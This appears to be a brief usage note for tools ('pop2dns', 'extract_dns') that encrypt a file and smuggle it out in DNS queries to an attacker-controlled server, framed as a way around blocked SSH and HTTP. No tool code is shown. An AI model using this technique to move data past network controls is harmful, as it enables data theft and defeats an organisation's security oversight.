In the scenario where you need to transmit data, but many controls are in place to prevent ssh or http based transfers, but DNS is open to the internet, you can transmit data in DNS requests. It is not ideal, but it is a way.
Transmitting encrypted data over dns to a dns server you have access to with "rndc querylog on".
Name the file you want to send as file.txt
pop2dns $password $dnsserver
Where $password is the password used by gpg to encrypt and $dnsserver is your dns server.
Once back on your dns server, you will have to extract the segment in question from the logs into a file named examine.txt then.
extract_dns
Then you will have file.txt.asc which can be decrypted with gpg using the password sent in by pop2dns.